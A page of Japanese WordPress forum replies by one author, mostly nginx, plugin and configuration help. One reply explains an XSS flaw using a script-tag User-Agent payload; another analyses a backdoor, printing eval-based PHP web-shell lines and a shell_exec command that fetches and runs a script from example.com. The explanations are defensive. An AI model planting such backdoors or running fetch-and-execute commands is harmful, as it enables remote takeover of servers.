wokamoto
フォーラムへの返信
-
フォーラム: インストール
返信が含まれるトピック: サブディレクトリとしてインストールするとバグる?rewrite ^/Blog(/.*)$ $1 break;はリバースプロキシ元の nginx 設定ではなく、リバースプロキシ先の nginx 設定に記載してください。
私の環境では、この設定で問題なく動作しています。# リバースプロキシ元
upstream backend {
server unix:/var/run/nginx-backend.sock;
}
server {
listen 80;
server_name _;
root /var/www/html;
index index.php index.html index.htm;
proxy_redirect off;
proxy_cache czone;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Remote-Addr $remote_addr;
proxy_set_header X-Forwarded-Host $host;
proxy_set_header X-Forwarded-Server $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $proxy_proto;
proxy_set_header X-Forwarded-Port $proxy_port;
proxy_set_header Accept-Encoding "";
proxy_set_header Proxy "";
location /Blog {
proxy_cache_key "$proxy_proto://$host$request_uri";
proxy_cache_valid 200 0m;
proxy_pass http://backend;
}
location ~ /\.ht {
deny all;
}
}# リバースプロキシ先
server {
listen unix:/var/run/nginx-backend.sock;
server_name _;
root /var/www/html;
index index.php index.html index.htm;
access_log /var/log/nginx/backend.access.log;
keepalive_timeout 25;
port_in_redirect off;
gzip off;
gzip_vary off;
rewrite ^/Blog(/.*)$ $1 break;
# This order might seem weird - this is attempted to match last if rules below fail.
location / {
try_files $uri $uri/ /index.php$is_args$args;
}
# Pass all .php files onto a php-fpm/php-fcgi server.
location ~ \.php$ {
expires off;
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass phpfpm;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
fastcgi_intercept_errors on;
fastcgi_connect_timeout 60;
fastcgi_send_timeout 180;
fastcgi_read_timeout 180;
fastcgi_buffers 16 16k;
fastcgi_buffer_size 32k;
fastcgi_busy_buffers_size 32k;
fastcgi_temp_file_write_size 256k;
fastcgi_param REMOTE_ADDR $http_x_real_ip;
}
}- この返信は5ヶ月、 1週前にwokamotoが編集しました。
フォーラム: インストール
返信が含まれるトピック: サブディレクトリとしてインストールするとバグる?リバースプロキシ先の nginx がサブディレクトリインストールされていることを認識できないからだと思われます。
まず、リバースプロキシ先の nginx 設定に以下を追加してください。rewrite ^/Blog(/.*)$ $1 break;
上記の設定だけでうまく行かなければwp-config.phpに以下を追加して WordPress 管理画面のURLがサブディレクトリ以下になるようにしてください。define( 'WP_SITEURL', 'https://www.example.com/Blog' );フォーラム: プラグイン
返信が含まれるトピック: 【XSS 脆弱性】Crazy Bone(狂骨)が公式ディレクトリから削除されている0.6.0 以前に存在していた XSS 脆弱性ですが、以下のような UserAgent でアクセスされた場合、それを管理画面で表示すると JavaScript が実行されてしまうというものです。
User-agent: <script>alert(1);</script>これを修正したものが ver.0.6.0 になります。
0.6.0 以前を利用している場合は、管理画面でログイン履歴一覧を表示しなければ害はありませんが、はやめのアップデートをお願い致します。フォーラム: プラグイン
返信が含まれるトピック: StaticpressまたはReallyStaticで再構築を自動的に定期的に行いたいStaticPress 作者です。
現在 StaticPress には定期的に再構築する機能はありませんし、今後もその機能を実装する予定もありません。
ただ発想としては面白いので、気が向いたら実装するかもしれません。StaticPress では github でもソースを公開しています。
https://github.com/megumiteam/staticpressもし、そのような機能を実装されるのであれば、ぜひプルリクエストしてください。
フォーラム: プラグイン
返信が含まれるトピック: Nginx HelperについてNginx Helper ではなく Nginx Cache Controller ( http://wordpress.org/plugins/nginx-champuru/ ) というプラグインを使用して、それのアクションフック nginxchampuru_flush_cache を使えば実現できると思います。
詳しくは下記 URL を参考にしてください。
http://dogmap.jp/2012/09/01/nginx-cache-controller-1-1-4/上の記事では purge.php をリバプロに置いてやる方法が書かれていますが、リバプロ側に ngx_cache_purage モジュールを組み込んでいるのであれば purge.php は必要ありません。
アクションフックを登録するで書かれている nginx_flush_cache() ファンクション内で wp_remote_get() している URL を ngx_cache_purage モジュールでキャッシュをパージするための URL に変更してみてください。フォーラム: 使い方全般
返信が含まれるトピック: WordPress の管理画面を IP アドレスで制限する上のディレクトリに置いたのであれば ip_check::is_allowed_ip() を呼び出す部分を変更します。
以下のような感じです。if ( preg_match('#(/wp-admin/.*|wp-login\.php)#i', $_SERVER['REQUEST_URI']) && !preg_match('#admin-ajax\.php#i', $_SERVER['REQUEST_URI']) ) { require( dirname(__FILE__) . '/ip_check.php' ); if ( !ip_check::is_allowed_ip( dirname(dirname(__FILE__)) . '/.allowed_ip' ) ) { header("HTTP/1.1 403 Forbidden"); echo "403 Forbidden\n"; die(); } }フォーラム: マルチサイト
返信が含まれるトピック: マルチサイトでのベーシック認証の利用フォーラム: マルチサイト
返信が含まれるトピック: マルチサイトでのベーシック認証の利用マルチサイトで検証していないので恐縮ですが…
拙作のプラグイン WP Basic Auth で対応できるかもです。
http://wordpress.org/plugins/wp-basic-auth/このプラグインは有効にするだけで WordPress のユーザ名/パスワードでサイト全体に BASIC 認証がかかります。
ただし、画像ファイル等の静的ファイルについては BASIC 認証がかからないので注意してください。フォーラム: プラグイン
返信が含まれるトピック: 昨日から突然ツイートされなくなった昨日 Twitter API v.1.0 が完全に廃止され、Twitter API v.1.1 のみしか受け付けなくなっています。
https://twitter.com/TwitterDevJP/status/344628654690664448Twitter API v.1.0 を使用して tweet しているプラグインは正常に動作しなくなっていると思います。
拙作の Simple Tweet は、Twitter API V.1.1 に対応しているので動作しています。
http://wordpress.org/plugins/simple-tweet/フォーラム: 使い方全般
返信が含まれるトピック: ログイン画面へ wp-admin 以外でアクセスできてしまうどうも、memo.dogmap.jp を書いてるものです。
コメント欄でも指摘されていますが core.trac で追加されてることが言及されてますね。
http://core.trac.wordpress.org/ticket/19607/admin/ のほか、/login/, /dashboard/ でも大丈夫です。
フォーラム: 使い方全般
返信が含まれるトピック: 特定のURL、固定ページのみ「theme」を切り替えるそれでは、ダメです。
プラグインにするなら、いかのような感じになると思います。
https://gist.github.com/4679580あと、この課題はすでに「解決済み」でしたね。
本来であれば、別課題を建てていただいた方が良いと思います。フォーラム: 使い方全般
返信が含まれるトピック: 特定のURL、固定ページのみ「theme」を切り替えるswitch 文を使えば簡単ですね。
// REQUEST_URL から一番上の階層を取り出す $cat = preg_replace('#^/([^/]+)/?.*$#', '$1', $_SERVER['REQUEST_URI']); // abaout, news, blog によって、テーマを変更する $overrideTheme = false; switch ($cat) { case 'about': $overrideTheme = 'twentyten'; break; case 'news': $overrideTheme = 'twentyeleven'; break; case 'blog': $overrideTheme = 'twentytwelve'; break; } // テーマのオーバーライド if ( $overrideTheme ) { $overrideTheme = wp_get_theme($overrideTheme); if ( $overrideTheme->exists() ) { return $overrideTheme['Template']; } else { return $theme; } } else { return $theme; }フォーラム: インストール
返信が含まれるトピック: さくらVPSでのWordPressインストール時手前味噌ですがセキュリティ設定に着いては、こちらもご一読ください
フォーラム: その他
返信が含まれるトピック: [セキュリティ バックドア改竄]このコードの役割は?<?eval(stripslashes(array_pop($_POST)))?>これは $_POST 配列の最後の値を取り出して、その文字列を PHP コードとして実行するための記述です。
$_POST 配列には、サーバに POST メソッドで送られた値が入りますので、例えば POST で以下のような文字列が送られてきた場合、サーバで UNIX コマンドが実行されてしまいます。shell_exec('wget http://example.com/evil.script.sh; ./evil.script.sh');攻撃者は、任意の PHP コードを、HTTP の POST メソッドで送りつけて、あなたのサーバで実行させることができるため、大変危険です。
if (isset($_REQUEST['asc'])) { eval(stripslashes($_REQUEST['asc'])); exit; }/* v0xXJf2 */こちらも、同様に $_REQUEST[‘asc’] という値があれば、それを PHP コードとして実行します。
$_REQUEST には、POST, GET, COOKIE 等で送られてきたデータが入ります。
攻撃者は POST や GET メソッドで asc という名前で PHP コードを送りつけて、あなたのサーバで実行させることができます。フォーラム: プラグイン
返信が含まれるトピック: Curlのインストールのやり方についてWordPress の質問では無いので、本来は Ubuntu フォーラム等で聞いてもらった方が良いと思いますが…
php5-curl パッケージをインストールする必要があります。
$ sudo apt-get install php5-curlその後 Apache なり、php-fpm なりを再起動してください。